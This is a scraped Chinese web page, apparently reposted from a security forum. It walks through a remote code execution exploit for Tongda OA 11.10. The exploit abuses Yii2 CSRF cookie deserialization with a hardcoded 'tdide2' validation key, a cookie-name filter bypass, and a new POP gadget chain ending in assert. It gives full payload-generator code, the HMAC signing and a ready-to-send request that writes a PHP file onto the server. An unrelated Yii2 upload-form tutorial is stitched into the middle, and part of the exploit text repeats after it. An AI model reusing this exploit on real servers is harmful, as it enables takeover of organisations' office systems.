Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537
查看通達oa 11.10使用的yii框架版本是2.0.13-dev,該版本在inc/vendor/yii2/yiisoft/yii2/BaseYii.php(yii/BaseYii)的getVersion方法可以查看。由于通達oa解密后的代碼會對yii框架部分代碼有影響,會出現亂碼的情況,所以建議找到對應版本后上yii倉庫下載源碼。
static public function getVersion()
{
return "2.0.13-dev";
}
在控制器中設置
public $enableCsrfValidation=true;
在yii框架的/config/main.php設置
request=> [
'enableCookieValidation'=> true,
]
yii框架默認是開啟這個設置的。
通達oa在inc/vendor/yii2/yiisoft/yii2/web/Request.php頁面中,設置public $enableCsrfValidation=true;$enableCsrfValidation=true;(默認)
還可以設置beforeAction在某些方法之前進行csrf token、afterAction在某些方法之后進行csrf token、表單設置、ajax異步post請求設置,這些其他模式設置csrf token請查看《Yii2 關閉和打開csrf 驗證》。
Cookie中_csrf的參數,格式大致如下:
Cookie: _csrf=[0-9a-zA-Z]a:2:{i:0;s:5:"_csrf";i:1;s:32:"[0-9a-zA-Z]"}
a開始就是序列化的數組數據。
例如:
Cookie: _csrf=1e21c37c4e981a0a44b6ae2c6af5f73007458c445682db139b040fc8262a9266a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22brBzjgY3PLWqhQtyweObnwZg74YP17Fn%22%3B%7D;
通過這些可以看到該漏洞的利用條件如下:
yii框架csrf token生成的時候會生成一部分序列化數據,校驗該token需要對這部分序列化數據進行反序列化校驗。
yii/helpers/BaseHtml的csrfMetaTags方法是生成csrftoken后將其放在html的meta標簽里面的方法。yii默認是開啟csrf校驗的,所以$request->enableCsrfValidation默認為true,默認就會調用yii/web/Request::getCsrfToken方法獲取csrf token。
public static function csrfMetaTags()
{
$request=Yii::$app->getRequest();
// $request是framework/web/Request.php Request類
if ($request instanceof Request && $request->enableCsrfValidation) {
return static::tag('meta', '', ['name'=> 'csrf-param', 'content'=> $request->csrfParam]) . "\n "
. static::tag('meta', '', ['name'=> 'csrf-token', 'content'=> $request->getCsrfToken()]) . "\n";
}
return '';
}
//framework/web/Request.php
public $enableCsrfValidation=true;
跟進getCsrfToken方法,$this->_csrfToken可控,設置為null,從而能繼續進入$this->loadCsrfToken()。
public function getCsrfToken($regenerate=false)
{
//可設置 $this->_csrfToken=null
if ($this->_csrfToken===null || $regenerate) {
if ($regenerate || ($token=$this->loadCsrfToken())===null)
{
$token=$this->generateCsrfToken();
}
$this->_csrfToken=Yii::$app->security->maskToken($token);
}
return $this->_csrfToken;
}
$this->loadCsrfToken()由于$this->enableCsrfCookie默認就為true,就會調用getCookies方法。$this->_cookies可控,從而調用$this->loadCookies()。loadCookies方法中$this->cookieValidationKey根據手冊開啟csrf校驗該密鑰可以在yii web配置里查看。通達oa中yii的web配置文件是general/appbuilder/config/web.php,在這里面可以看到固定密碼為tdide2。
protected function loadCsrfToken()
{
//默認或可設置$enableCsrfCookie=true
if ($this->enableCsrfCookie) {
return $this->getCookies()->getValue($this->csrfParam);
}
return Yii::$app->getSession()->get($this->csrfParam);
}
public function getCookies()
{
if ($this->_cookies===null) {
$this->_cookies=new CookieCollection($this->loadCookies(), [
'readOnly'=> true,
]);
}
return $this->_cookies;
}
protected function loadCookies()
{
$cookies=[];
if ($this->enableCookieValidation) {
if ($this->cookieValidationKey=='') {
throw new InvalidConfigException(get_class($this) . '::cookieValidationKey must be configured with a secret key.');
}
foreach ($_COOKIE as $name=> $value) {
if (!is_string($value)) {
continue;
}
//$this->cookieValidationKey='tdide2'
$data=Yii::$app->getSecurity()->validateData($value, $this->cookieValidationKey);
if ($data===false) {
continue;
}
// 反序列化點
$data=@unserialize($data);
if (is_array($data) && isset($data[0], $data[1]) && $data[0]===$name) {
$cookies[$name]=Yii::createObject([
'class'=> 'yii\web\Cookie',
'name'=> $name,
'value'=> $data[1],
'expire'=> null,
]);
}
}
......
回到loadCookies中,對$_COOKIE循環遍歷并對cookie中每個字段的值用Yii::$app->getSecurity()->validateData()校驗,校驗csrf token值無問題后對其進行反序列化。
跟進發現是yii/base/Security的validataData方法。該方法校驗思路是比對cookie的csrf token中傳入的hash和代碼中重新計算的hash是否一致。hash_hmac設置的是sha256位的hash計算模式,因此每次傳入csrf token都要計算對應的hash值。
public function validateData($data, $key, $rawHash=false)
{
//$this->macHash=sha256
$test=@hash_hmac($this->macHash, '', '', $rawHash);
if (!$test) {
throw new InvalidConfigException('Failed to generate HMAC with hash algorithm: ' . $this->macHash);
}
$hashLength=StringHelper::byteLength($test);
if (StringHelper::byteLength($data) >=$hashLength) {
$hash=StringHelper::byteSubstr($data, 0, $hashLength);
$pureData=StringHelper::byteSubstr($data, $hashLength, null);
//hash_mac('sha256',$pureData,'tdide2',false)
$calculatedHash=hash_hmac($this->macHash, $pureData, $key, $rawHash);
if ($this->compareString($hash, $calculatedHash)) {
return $pureData;
}
}
return false;
}
分析完了反序列化unserialize的觸發點,但還要找到調用csrfMetaTags方法的地方。由于yii/web/Request::csrfMetaTags是生成html頁面meta標簽的csrf token,因此調用的地方一般在html模版或者寫頁面的方法中。全局搜索,在general/appbuilder/views/layouts/main.php中有調用該方法。
<?php
$this->beginPage();
echo "<!DOCTYPE html>\n<html lang=\"";
echo Yii::$app->language;
echo "\">\n<head>\n <meta charset=\"";
echo Yii::$app->charset;
echo "\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n ";
echo yii\helpers\Html::csrfMetaTags();
echo " <title>";
......
查看/general/appbuilder/目錄結構發現general/appbuilder/views/是yii框架寫的模板主頁面。只要調用了該路由下的方法就能觸發模板渲染。
根據手冊,general/appbuilder/config/params.php是配置框架參數的,其中skip_module是配置不進行鑒權的模塊,其中就有portal門戶模塊。
<?php
include_once "inc/td_config.php";
$arr_mysql_server=explode(":", TD::$_arr_db_master["host"]);
return array(
......
"skip_module" => array("portal", "hr", "meeting", "formCenter", "calendar", "officeproduct", "invoice"),
同時general/appbuilder/web/index.php是yii路由入口,獲取請求路徑后以問號為分隔符substr分割路徑和uri參數。portal模塊下不是gateway、/gateway/saveportal、edit、uploadfile、uploadportalfile、uploadpicture、dologin的話會直接跳轉到index.php,從而可以觸發general/appbuilder/views/layouts/main.php模板。
......
else {
$url=$_SERVER["REQUEST_URI"]; //獲取路徑
$strurl=substr($url, 0, strpos($url, "?")); //分割路徑和uri參數
if (strpos($strurl, "/portal/") !==false) {
if (strpos($strurl, "/gateway/")===false) {
header("Location:/index.php");
sess_close();
exit();
}
else if (strpos($strurl, "/gateway/saveportal") !==false) {
header("Location:/index.php");
sess_close();
exit();
}
else if (strpos($url, "edit") !==false) {
header("Location:/index.php");
sess_close();
exit();
}
else if (strpos($url, "uploadfile") !==false) {
header("Location:/index.php");
sess_close();
exit();
}
else if (strpos($url, "uploadportalfile") !==false) {
header("Location:/index.php");
sess_close();
exit();
}
else if (strpos($url, "uploadpicture") !==false) {
header("Location:/index.php");
sess_close();
exit();
}
else if (strpos($url, "dologin") !==false) {
header("Location:/index.php");
sess_close();
exit();
}
}
......
因此,觸發漏洞的路由是/general/appbuilder/portal/gateway/?。
在inc/common.inc.php可以看到通達OA有全局的addslashes過濾,對Cookie中過濾。傳入payload的時候將_csrf改為_GET、_POST等就可以繞過。
if (0 < count($_COOKIE)) {
foreach ($_COOKIE as $s_key=> $s_value ) {
if ((substr($s_key, 0, 7)=="_SERVER") || (substr($s_key, 0, 8)=="_SESSION") || (substr($s_key, 0, 7)=="_COOKIE") || (substr($s_key, 0, 4)=="_GET") || (substr($s_key, 0, 5)=="_POST") || (substr($s_key, 0, 6)=="_FILES")) {
continue;
}
if (!is_array($s_value)) {
$_COOKIE[$s_key]=addslashes(strip_tags($s_value));
}
$s_key=$_COOKIE[$s_key];
}
reset($_COOKIE);
}
yii常見的反序列化起點是利用yii\db\BatchQueryResult的。其中yii框架POP1鏈條差不多如下:**yii\db\BatchQueryResult-Faker\Generator-yii\rest\CreateAction**,但是通達oa里并沒有用**Faker\Generator**,而且好多yii反序列化鏈涉及的類都通達oa都沒有,因此這里需要重新找一條鏈。
yii\db\BatchQueryResult的__destruct調用的reset方法,其中$this->_dataReader可控,$this->_dataReader->close()可以理解為可控類->close()。全局搜索到yii\db\DataReader存在close()方法。
public function __destruct()
{
// make sure cursor is closed
$this->reset();
}
public function reset()
{
if ($this->_dataReader !==null) {
$this->_dataReader->close();
}
$this->_dataReader=null;
$this->_batch=null;
$this->_value=null;
$this->_key=null;
}
因此,可設置$this->_dataReader=new DataReader()從而觸發調用其close方法,進入后$this->_statement可控,同樣是可控類->closeCursor(),但是全局搜索沒找到什么對應的類。嘗試找帶有call方法的類,通過調用其不存在的closeCursor,觸發call方法。
public function close()
{
$this->_statement->closeCursor();//$this->_statement=new Connection();
$this->_closed=true;
}
在通達oa 11.10全局搜索中找到yii2框架還用了yii2-redis庫,在yii2-redis里面找到yii\redis\Connection類存在call方法。
打開后發現代碼由于解密問題有亂碼問題,找到對應的yii2-redis倉庫下載對應版本的源碼(inc/vendor/yii2/yiisoft/extensions.php頁面可查看yii2-redis版本為2.0.6)。$redisCommand=$name='closeCursor'轉換為大寫,再與$this->redisCommands比對,查看是否存在其中,而$this->redisCommands可控,可參照其默認值形式,設置為CLOSE CURSOR,從而可進入executeCommand。
public $redisCommands=[
'APPEND', // Append a value to a key
'AUTH', // Authenticate to the server
'BGREWRITEAOF', // Asynchronously rewrite the append-only file
'BGSAVE', // Asynchronously save the dataset to disk
......
];
public function __call($name, $params)//$name=closeCursor,$params=null
{
$redisCommand=strtoupper(Inflector::camel2words($name, false));//CLOSECURSOR
if (in_array($redisCommand, $this->redisCommands)) {
return $this->executeCommand($redisCommand, $params);
}
return parent::__call($name, $params);
}
executeCommand調用open方法,跟進發現$this->_socket可控,為保證代碼繼續運行這里要設置為false(默認初始化值為false)。$connection由hostname、port、database拼接,每個變量都可控,然后后續進行socket的鏈接。由于通達一體包系統環境一般是win系統,所以設置$this->unixSocket為false(可控)就能進入win下tcp鏈接。這里只要連通就可以讓$this->_socket為true進入if分支。if分之內前面三個if條件$this->dataTimeout、$this->password、$this->database都可控,這三個分支調用的不是executeCommand的遞歸就是又進行socket鏈接都不符合情況,所以需要設置為null,才能保證進入initConnection()。
public function executeCommand($name, $params=[])
{
$this->open();
......
}
public function open()
{
if ($this->_socket !==false) {
return;
}
$connection=($this->unixSocket ?: $this->hostname . ':' . $this->port) . ', database=' . $this->database;
\Yii::trace('Opening redis DB connection: ' . $connection, __METHOD__);
$this->_socket=@stream_socket_client(
$this->unixSocket ? 'unix://' . $this->unixSocket : 'tcp://' . $this->hostname . ':' . $this->port,
$errorNumber,
$errorDescription,
$this->connectionTimeout ? $this->connectionTimeout : ini_get('default_socket_timeout'),
$this->socketClientFlags
);
if ($this->_socket) {
if ($this->dataTimeout !==null) {
stream_set_timeout($this->_socket, $timeout=(int) $this->dataTimeout, (int) (($this->dataTimeout - $timeout) * 1000000));
}
if ($this->password !==null) {
$this->executeCommand('AUTH', [$this->password]);
}
if ($this->database !==null) {
$this->executeCommand('SELECT', [$this->database]);
}
$this->initConnection();
}
......
}
initConnection()實際調用的是yii\base\Component(framework/base/Component.php)::trigger()方法,參數EVENT_AFTER_OPEN固定值是afterOpen。
const EVENT_AFTER_OPEN='afterOpen';
protected function initConnection()
{
$this->trigger(self::EVENT_AFTER_OPEN);//$this->trigger('afterOpen');
}
trigger方法在line560調用了call_user_func,逆向溯源兩個$handler[0]和$event參數。$this->_events[$name]=$this->['afterOpen']不為空,就能進入該分支調用call_user_func。然后對$this->_events['afterOpen']進行數組遍歷,于是$this->_events['afterOpen'][0]=$handler[0]可控,$this->_events['afterOpen'][1]=$event->data=Event::data不可控。
public function trigger($name, Event $event=null)
{
$this->ensureBehaviors();
//$this->_events['afterOpen']=''
if (!empty($this->_events[$name])) {
if ($event===null) {
$event=new Event();
}
if ($event->sender===null) {
$event->sender=$this;//yii\base\Component
}
$event->handled=false;
$event->name=$name;//'afterOpen'
//$this->>_events['afterOpen']=$handler;
foreach ($this->_events[$name] as $handler) {
$event->data=$handler[1];//any
call_user_func($handler[0],$event);//call_user_func([new CreateAction,'run'],any);
// stop further handling if the event is handled
if ($event->handled) {
return;
}
}
}
// invoke class-level attached handlers
Event::trigger($this, $name, $event);
}
參考低版本yii反序列化鏈執行代碼注入的一般通過yii\rest\CreateAction或者類似的類(代碼內容如下所示)。其中$this->checkAccess和$this->id都可控,$this->checkAccess設置為調用php函數,如system執行命令;$this->id設置執行內容,如命令whoami。
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
......
結合上面的trigger方法,call_user_func參數1可以設置為調用CreateAction的run方法,調用方式:call_user_func([new CreateAction, 'run'],'a')。如何給$this->_events['afterOpen']賦值,繼續查看如下代碼注釋:
//$this->>_events['afterOpen']=$handler; //一重數組,$handler要求是數組
foreach ($this->_events[$name] as $handler) { //二重數組,$handler分為$handler[0]和handler[1]
$event->data=$handler[1];//any
call_user_func($handler[0],$event);
//call_user_func([new CreateAction,'run'],any);
//三重數組,call_user_func調用類需要用數組傳入,形如[new A(),...params]
轉換過來也就是$this->_events['afterOpen']=[[[new CreatAction, 'run'],'a']]。
該鏈條效果為寫入一個名為hgsd.php的php文件,內容為<?php echo 123;?>。輸出反序列化payload的base64編碼,解碼并urlencode作為偽造的csrf token一部分數據。
<?php
//step4
namespace yii\rest {
class CreateAction {
public $id;
public $checkAccess;
public function __construct() {
$this->checkAccess='assert';
$this->id="file_put_contents('hgsd.php','<?php echo 123;?>')";
}
}
}
//step3
namespace yii\base {
use yii\rest\CreateAction;
class Component {
private $_events=[];
private $_behaviors=1;
public function __construct() {
$this->_events=["afterOpen"=> [[[new CreateAction(), "run"], "a"]]];
//第二個"a"參數任意。
}
}
}
//step2
namespace yii\redis {
use yii\base\Component;
class Connection extends Component{
public $redisCommands=[];
public $hostname='';
public $port;
public $password;
public $username;
public $connectionTimeout;
public $dataTimeout;
public $database;
public $unixSocket;
private $_socket;
public function __construct()
{
$this->redisCommands=array('CLOSE CURSOR');
$this->_socket=false;
$this->hostname='127.0.0.1';
$this->port=803;//能夠連通的任意本地服務的端口
$this->unixSocket=false;
$this->connectionTimeout=5;
parent::__construct();
}
}
}
// step1
namespace yii\db {
use yii\redis\Connection;
class DataReader {
private $_statement;
private $_closed=false;
private $_row;
private $_index=-1;
public function __construct()
{
$this->_statement=new Connection();
}
}
class BatchQueryResult {
public $batchSize=100;
public $each=false;
private $_dataReader;
private $_batch;
private $_value;
private $_key;
public function __construct() {
$this->_dataReader=new DataReader();
}
}
}
//start
namespace {
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
對第一步生成的反序列化payload(base64已編碼)進行hash計算,從而生成對應的csrf token另一部分數據。
<?php
$pureData=base64_decode('TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjY6e3M6OToiYmF0Y2hTaXplIjtpOjEwMDtzOjQ6ImVhY2giO2I6MDtzOjM2OiIAeWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQAX2RhdGFSZWFkZXIiO086MTc6InlpaVxkYlxEYXRhUmVhZGVyIjo0OntzOjI5OiIAeWlpXGRiXERhdGFSZWFkZXIAX3N0YXRlbWVudCI7TzoyMDoieWlpXHJlZGlzXENvbm5lY3Rpb24iOjEyOntzOjEzOiJyZWRpc0NvbW1hbmRzIjthOjE6e2k6MDtzOjEyOiJDTE9TRSBDVVJTT1IiO31zOjg6Imhvc3RuYW1lIjtzOjk6IjEyNy4wLjAuMSI7czo0OiJwb3J0IjtpOjgwMztzOjg6InBhc3N3b3JkIjtOO3M6ODoidXNlcm5hbWUiO047czoxNzoiY29ubmVjdGlvblRpbWVvdXQiO2k6NTtzOjExOiJkYXRhVGltZW91dCI7TjtzOjg6ImRhdGFiYXNlIjtOO3M6MTA6InVuaXhTb2NrZXQiO2I6MDtzOjI5OiIAeWlpXHJlZGlzXENvbm5lY3Rpb24AX3NvY2tldCI7YjowO3M6Mjc6IgB5aWlcYmFzZVxDb21wb25lbnQAX2V2ZW50cyI7YToxOntzOjk6ImFmdGVyT3BlbiI7YToxOntpOjA7YToyOntpOjA7YToyOntpOjA7TzoyMToieWlpXHJlc3RcQ3JlYXRlQWN0aW9uIjoyOntzOjI6ImlkIjtzOjIxMjoiZmlsZV9wdXRfY29udGVudHModGRfYXV0aGNvZGUoIjVhNGE4LzZGR2g2Z0hFRzEwZnZTN1JocFpVMFhBdm1CNmJJblZpOGpYNWlaTEZ4Vkh3IiwiREVDT0RFIiwiMTIzNDU2Nzg5MCIsIiIpLHRkX2F1dGhjb2RlKCIzMjk4THRaU3RaQWxKRWVma0VJdWJadjVhdU1VS2ZEeWdORmVWcTArT0JobFNYb3p5S1BMNVFMQkxYNlZFdyIsIkRFQ09ERSIsIjEyMzQ1Njc4OTAiLCIiKSkiO3M6MTE6ImNoZWNrQWNjZXNzIjtzOjY6ImFzc2VydCI7fWk6MTtzOjM6InJ1biI7fWk6MTtzOjE6ImEiO319fXM6MzA6IgB5aWlcYmFzZVxDb21wb25lbnQAX2JlaGF2aW9ycyI7aToxO31zOjI2OiIAeWlpXGRiXERhdGFSZWFkZXIAX2Nsb3NlZCI7YjowO3M6MjM6IgB5aWlcZGJcRGF0YVJlYWRlcgBfcm93IjtOO3M6MjU6IgB5aWlcZGJcRGF0YVJlYWRlcgBfaW5kZXgiO2k6LTE7fXM6MzE6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfYmF0Y2giO047czozMToiAHlpaVxkYlxCYXRjaFF1ZXJ5UmVzdWx0AF92YWx1ZSI7TjtzOjI5OiIAeWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQAX2tleSI7Tjt9');
$calculatedHash=hash_hmac('sha256',$pureData,'tdide2',false);
# yii general/appbuilder/config/web.php cookieValidationKey 固定值
echo($calculatedHash);
對數據包請求方式沒有限制,get和post方式都可以。偽造的csrf token格式是Cookie: _GET=csrftoken_hashmac+反序列化payload urlencode。按照payload格式拼接完畢后,在發送如下請求:
POST /general/appbuilder/web/portal/gateway/? HTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _GET=c90e0967189ce5543daef73219235d04c98bb1ef4b2450f2c420e3302b8fa9a3O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A6%3A%7Bs%3A9%3A%22batchSize%22%3Bi%3A100%3Bs%3A4%3A%22each%22%3Bb%3A0%3Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A17%3A%22yii%5Cdb%5CDataReader%22%3A4%3A%7Bs%3A29%3A%22%00yii%5Cdb%5CDataReader%00_statement%22%3BO%3A20%3A%22yii%5Credis%5CConnection%22%3A12%3A%7Bs%3A13%3A%22redisCommands%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A12%3A%22CLOSE%20CURSOR%22%3B%7Ds%3A8%3A%22hostname%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A4%3A%22port%22%3Bi%3A803%3Bs%3A8%3A%22password%22%3BN%3Bs%3A8%3A%22username%22%3BN%3Bs%3A17%3A%22connectionTimeout%22%3Bi%3A5%3Bs%3A11%3A%22dataTimeout%22%3BN%3Bs%3A8%3A%22database%22%3BN%3Bs%3A10%3A%22unixSocket%22%3Bb%3A0%3Bs%3A29%3A%22%00yii%5Credis%5CConnection%00_socket%22%3Bb%3A0%3Bs%3A27%3A%22%00yii%5Cbase%5CComponent%00_events%22%3Ba%3A1%3A%7Bs%3A9%3A%22afterOpen%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22yii%5Crest%5CCreateAction%22%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A212%3A%22file_put_contents(td_authcode(%225a4a8%2F6FGh6gHEG10fvS7RhpZU0XAvmB6bInVi8jX5iZLFxVHw%22%2C%22DECODE%22%2C%221234567890%22%2C%22%22)%2Ctd_authcode(%223298LtZStZAlJEefkEIubZv5auMUKfDygNFeVq0%2BOBhlSXozyKPL5QLBLX6VEw%22%2C%22DECODE%22%2C%221234567890%22%2C%22%22))%22%3Bs%3A11%3A%22checkAccess%22%3Bs%3A6%3A%22assert%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7Di%3A1%3Bs%3A1%3A%22a%22%3B%7D%7D%7Ds%3A30%3A%22%00yii%5Cbase%5CComponent%00_behaviors%22%3Bi%3A1%3B%7Ds%3A26%3A%22%00yii%5Cdb%5CDataReader%00_closed%22%3Bb%3A0%3Bs%3A23%3A%22%00yii%5Cdb%5CDataReader%00_row%22%3BN%3Bs%3A25%3A%22%00yii%5Cdb%5CDataReader%00_index%22%3Bi%3A-1%3B%7Ds%3A31%3A%22%00yii%5Cdb%5CBatchQueryResult%00_batch%22%3BN%3Bs%3A31%3A%22%00yii%5Cdb%5CBatchQueryResult%00_value%22%3BN%3Bs%3A29%3A%22%00yii%5Cdb%5CBatchQueryResult%00_key%22%3BN%3B%7D
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
執行成功后響應500,響應體如下圖所示:
上述生成的poc文件目錄是/general/appbuilder/web/hgsd.php。
from https://xz.aliyun.com/t/12855
AI提問題: 使用 php Yii2 框架創建表單,要求表單帶上傳功能;請提供控制器、模型、視圖的代碼,如果需要使用第三方js前端UI框架,請告訴我該如何引用它。
在Yii2框架中創建帶有上傳功能的表單需要使用Yii2內置的`ActiveForm`類,同時還需要在模型中定義相應的規則和在控制器中處理文件上傳。下面是一個簡單的例子,假設你想要創建一個包含文件上傳功能的表單。
1. 創建模型(models/YourModel.php):
<?php
namespace app\models;
use yii\base\Model;
use yii\web\UploadedFile;
class YourModel extends Model
{
public $file; // 屬性用于接收上傳的文件
public function rules()
{
return [
[['file'], 'file', 'skipOnEmpty'=> false, 'extensions'=> 'png, jpg, jpeg'],
];
}
}
2. 創建控制器(controllers/YourController.php):
<?php
namespace app\controllers;
use Yii;
use yii\web\Controller;
use app\models\YourModel;
use yii\web\UploadedFile;
class YourController extends Controller
{
public function actionYourForm()
{
$model=new YourModel();
if (Yii::$app->request->isPost) {
$model->file=UploadedFile::getInstance($model, 'file');
if ($model->file && $model->validate()) {
$uploadPath=Yii::getAlias('@app/uploads/');
$model->file->saveAs($uploadPath . $model->file->baseName . '.' . $model->file->extension);
// 處理文件上傳后的邏輯,可以保存文件路徑到數據庫或其他操作
// 例如:$model->file_path=$uploadPath . $model->file->baseName . '.' . $model->file->extension;
}
}
return $this->render('yourForm', ['model'=> $model]);
}
}
3. 創建視圖文件(views/your-controller/yourForm.php):
<?php
use yii\helpers\Html;
use yii\widgets\ActiveForm;
?>
<?php $form=ActiveForm::begin(['options'=> ['enctype'=> 'multipart/form-data']]); ?>
<?=$form->field($model, 'file')->fileInput() ?>
<div class="form-group">
<?=Html::submitButton('Submit', ['class'=> 'btn btn-primary']) ?>
</div>
<?php ActiveForm::end(); ?>
在這個例子中,`models/YourModel.php` 中定義了一個模型,其中包含一個用于接收上傳文件的屬性,并使用`rules`方法設置了文件上傳的規則。`controllers/YourController.php` 中的`actionYourForm`方法處理了文件上傳的邏輯,將上傳的文件保存到指定目錄。視圖文件`views/your-controller/yourForm.php` 使用`ActiveForm`創建了帶有文件上傳功能的表單。
效果如下:
如果你希望使用第三方的js前端UI框架,可以在布局文件中引入相應的CSS和JS文件,例如,如果你想使用Bootstrap,可以在布局文件中添加以下代碼:
<?php
use yii\helpers\Html;
use yii\bootstrap\NavBar;
use yii\bootstrap\Nav;
/* @var $this \yii\web\View */
/* @var $content string */
\yii\bootstrap\BootstrapAsset::register($this);
$this->beginPage();
?>
<!DOCTYPE html>
<html lang="<?=Yii::$app->language ?>">
<head>
<meta charset="<?=Yii::$app->charset ?>">
<meta name="viewport" content="width=device-width, initial-scale=1">
<?=Html::csrfMetaTags() ?>
<title><?=Html::encode($this->title) ?></title>
<?php $this->head() ?>
</head>
<body>
<?php $this->beginBody(); ?>
<div class="wrap">
<?php
NavBar::begin([
'brandLabel'=> 'My Yii Application',
'brandUrl'=> Yii::$app->homeUrl,
'options'=> [
'class'=> 'navbar-inverse navbar-fixed-top',
],
]);
echo Nav::widget([
'options'=> ['class'=> 'navbar-nav navbar-right'],
'items'=> [
['label'=> 'Home', 'url'=> ['/site/index']],
// other menu items...
],
]);
NavBar::end();
?>
<div class="container">
<?=$content ?>
</div>
</div>
<?php $this->endBody(); ?>
</body>
</html>
<?php $this->endPage(); ?>
在這個例子中,我使用了Yii2的Bootstrap擴展,通過`\yii\bootstrap\BootstrapAsset::register($this);`來引入Bootstrap的CSS和JS文件。你可以根據自己的需要引入其他第三方前端UI框架的文件。
查看通達oa 11.10使用的yii框架版本是2.0.13-dev,該版本在inc/vendor/yii2/yiisoft/yii2/BaseYii.php(yii/BaseYii)的getVersion方法可以查看。由于通達oa解密后的代碼會對yii框架部分代碼有影響,會出現亂碼的情況,所以建議找到對應版本后上yii倉庫下載源碼。
static public function getVersion()
{
return "2.0.13-dev";
}
在控制器中設置
public $enableCsrfValidation=true;
在yii框架的/config/main.php設置
request=> [
'enableCookieValidation'=> true,
]
yii框架默認是開啟這個設置的。
通達oa在inc/vendor/yii2/yiisoft/yii2/web/Request.php頁面中,設置public $enableCsrfValidation=true;$enableCsrfValidation=true;(默認)
還可以設置beforeAction在某些方法之前進行csrf token、afterAction在某些方法之后進行csrf token、表單設置、ajax異步post請求設置,這些其他模式設置csrf token請查看《Yii2 關閉和打開csrf 驗證》。
Cookie中_csrf的參數,格式大致如下:
Cookie: _csrf=[0-9a-zA-Z]a:2:{i:0;s:5:"_csrf";i:1;s:32:"[0-9a-zA-Z]"}
a開始就是序列化的數組數據。
例如:
Cookie: _csrf=1e21c37c4e981a0a44b6ae2c6af5f73007458c445682db139b040fc8262a9266a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22brBzjgY3PLWqhQtyweObnwZg74YP17Fn%22%3B%7D;
通過這些可以看到該漏洞的利用條件如下:
yii框架csrf token生成的時候會生成一部分序列化數據,校驗該token需要對這部分序列化數據進行反序列化校驗。
yii/helpers/BaseHtml的csrfMetaTags方法是生成csrftoken后將其放在html的meta標簽里面的方法。yii默認是開啟csrf校驗的,所以$request->enableCsrfValidation默認為true,默認就會調用yii/web/Request::getCsrfToken方法獲取csrf token。
public static function csrfMetaTags()
{
$request=Yii::$app->getRequest();
// $request是framework/web/Request.php Request類
if ($request instanceof Request && $request->enableCsrfValidation) {
return static::tag('meta', '', ['name'=> 'csrf-param', 'content'=> $request->csrfParam]) . "\n "
. static::tag('meta', '', ['name'=> 'csrf-token', 'content'=> $request->getCsrfToken()]) . "\n";
}
return '';
}
//framework/web/Request.php
public $enableCsrfValidation=true;
跟進getCsrfToken方法,$this->_csrfToken可控,設置為null,從而能繼續進入$this->loadCsrfToken()。
public function getCsrfToken($regenerate=false)
{
//可設置 $this->_csrfToken=null
if ($this->_csrfToken===null || $regenerate) {
if ($regenerate || ($token=$this->loadCsrfToken())===null)
{
$token=$this->generateCsrfToken();
}
$this->_csrfToken=Yii::$app->security->maskToken($token);
}
return $this->_csrfToken;
}
$this->loadCsrfToken()由于$this->enableCsrfCookie默認就為true,就會調用getCookies方法。$this->_cookies可控,從而調用$this->loadCookies()。loadCookies方法中$this->cookieValidationKey根據手冊開啟csrf校驗該密鑰可以在yii web配置里查看。通達oa中yii的web配置文件是general/appbuilder/config/web.php,在這里面可以看到固定密碼為tdide2。
protected function loadCsrfToken()
{
//默認或可設置$enableCsrfCookie=true
if ($this->enableCsrfCookie) {
return $this->getCookies()->getValue($this->csrfParam);
}
return Yii::$app->getSession()->get($this->csrfParam);
}
public function getCookies()
{
if ($this->_cookies===null) {
$this->_cookies=new CookieCollection($this->loadCookies(), [
'readOnly'=> true,
]);
}
return $this->_cookies;
}
protected function loadCookies()
{
$cookies=[];
if ($this->enableCookieValidation) {
if ($this->cookieValidationKey=='') {
throw new InvalidConfigException(get_class($this) . '::cookieValidationKey must be configured with a secret key.');
}
foreach ($_COOKIE as $name=> $value) {
if (!is_string($value)) {
continue;
}
//$this->cookieValidationKey='tdide2'
$data=Yii::$app->getSecurity()->validateData($value, $this->cookieValidationKey);
if ($data===false) {
continue;
}
// 反序列化點
$data=@unserialize($data);
if (is_array($data) && isset($data[0], $data[1]) && $data[0]===$name) {
$cookies[$name]=Yii::createObject([
'class'=> 'yii\web\Cookie',
'name'=> $name,
'value'=> $data[1],
'expire'=> null,
]);
}
}
......
回到loadCookies中,對$_COOKIE循環遍歷并對cookie中每個字段的值用Yii::$app->getSecurity()->validateData()校驗,校驗csrf token值無問題后對其進行反序列化。
跟進發現是yii/base/Security的validataData方法。該方法校驗思路是比對cookie的csrf token中傳入的hash和代碼中重新計算的hash是否一致。hash_hmac設置的是sha256位的hash計算模式,因此每次傳入csrf token都要計算對應的hash值。
